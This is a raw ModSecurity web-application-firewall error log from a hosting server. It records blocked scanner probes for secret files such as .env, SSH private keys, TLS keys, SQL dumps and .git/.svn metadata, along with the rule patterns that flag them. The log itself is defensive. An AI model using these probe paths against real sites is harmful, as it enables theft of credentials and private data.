[Fri Jul 17 10:04:57.486396 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcwAAABI"]
[Fri Jul 17 10:04:57.486862 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcwAAABI"]
[Fri Jul 17 10:04:57.487388 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcwAAABI"]
[Fri Jul 17 10:04:57.641947 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database_backup.sql"] [unique_id "almw8dKHXJzatLSGO6IsyAAAABU"]
[Fri Jul 17 10:04:57.642447 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database_backup.sql"] [unique_id "almw8dKHXJzatLSGO6IsyAAAABU"]
[Fri Jul 17 10:04:57.643023 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/database_backup.sql"] [unique_id "almw8dKHXJzatLSGO6IsyAAAABU"]
[Fri Jul 17 10:04:57.957343 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almw8ZuhBssQvDAz4zCtdAAAABI"]
[Fri Jul 17 10:04:57.957596 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almw8ZuhBssQvDAz4zCtdAAAABI"]
[Fri Jul 17 10:04:57.958013 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almw8ZuhBssQvDAz4zCtdAAAABI"]
[Fri Jul 17 10:04:58.111987 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/etc/ssl/private/server.key"] [unique_id "almw8tKHXJzatLSGO6IsyQAAABU"]
[Fri Jul 17 10:04:58.112396 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/etc/ssl/private/server.key"] [unique_id "almw8tKHXJzatLSGO6IsyQAAABU"]
[Fri Jul 17 10:04:58.112806 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/etc/ssl/private/server.key"] [unique_id "almw8tKHXJzatLSGO6IsyQAAABU"]
[Fri Jul 17 10:04:58.194842 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:47764] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:58.268370 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/server.key"] [unique_id "almw8mTem5UnhuySh-0nxgAAAAA"]
[Fri Jul 17 10:04:58.268944 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/server.key"] [unique_id "almw8mTem5UnhuySh-0nxgAAAAA"]
[Fri Jul 17 10:04:58.269559 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/server.key"] [unique_id "almw8mTem5UnhuySh-0nxgAAAAA"]
[Fri Jul 17 10:04:58.782466 2026] [security2:error] [pid 2063895:tid 2063895] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.svn/wc.db"] [unique_id "almw8hf3V7HXByUCfDSx5wAAABY"]
[Fri Jul 17 10:04:58.782611 2026] [security2:error] [pid 2063895:tid 2063895] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.svn/wc.db"] [unique_id "almw8hf3V7HXByUCfDSx5wAAABY"]
[Fri Jul 17 10:04:58.782843 2026] [security2:error] [pid 2063895:tid 2063895] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.svn/wc.db"] [unique_id "almw8hf3V7HXByUCfDSx5wAAABY"]
[Fri Jul 17 10:04:58.783207 2026] [security2:error] [pid 2063895:tid 2063895] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.svn/wc.db"] [unique_id "almw8hf3V7HXByUCfDSx5wAAABY"]
[Fri Jul 17 10:04:58.950562 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/storage/logs/laravel.log"] [unique_id "almw8nv42nOn2tp5Eua2MgAAABA"]
[Fri Jul 17 10:04:58.950886 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/storage/logs/laravel.log"] [unique_id "almw8nv42nOn2tp5Eua2MgAAABA"]
[Fri Jul 17 10:04:58.951261 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/storage/logs/laravel.log"] [unique_id "almw8nv42nOn2tp5Eua2MgAAABA"]
[Fri Jul 17 10:04:59.109243 2026] [security2:error] [pid 2063441:tid 2063441] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.ssh/id_rsa"] [unique_id "almw89KHXJzatLSGO6IsywAAABU"]
[Fri Jul 17 10:04:59.109463 2026] [security2:error] [pid 2063441:tid 2063441] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.ssh/id_rsa"] [unique_id "almw89KHXJzatLSGO6IsywAAABU"]
[Fri Jul 17 10:04:59.109819 2026] [security2:error] [pid 2063441:tid 2063441] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.ssh/id_rsa"] [unique_id "almw89KHXJzatLSGO6IsywAAABU"]
[Fri Jul 17 10:04:59.268552 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8_72foAPmCnen3SrHAAAABs"]
[Fri Jul 17 10:04:59.269035 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8_72foAPmCnen3SrHAAAABs"]
[Fri Jul 17 10:04:59.269529 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8_72foAPmCnen3SrHAAAABs"]
[Fri Jul 17 10:04:59.387894 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64039011d1f64_strengthening_cov-19_vaccination_prog.pdf"] [unique_id "almw8wgUGKrGY1YsJl1uMgAAAAY"]
[Fri Jul 17 10:04:59.388249 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64039011d1f64_strengthening_cov-19_vaccination_prog.pdf"] [unique_id "almw8wgUGKrGY1YsJl1uMgAAAAY"]
[Fri Jul 17 10:04:59.388540 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64039011d1f64_strengthening_cov-19_vaccination_prog.pdf"] [unique_id "almw8wgUGKrGY1YsJl1uMgAAAAY"]
[Fri Jul 17 10:04:59.510342 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.git/HEAD"] [unique_id "almw82Tem5UnhuySh-0nyQAAAAA"]
[Fri Jul 17 10:04:59.510342 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almw8xf3V7HXByUCfDSx6QAAABY"]
[Fri Jul 17 10:04:59.510558 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.git/HEAD"] [unique_id "almw82Tem5UnhuySh-0nyQAAAAA"]
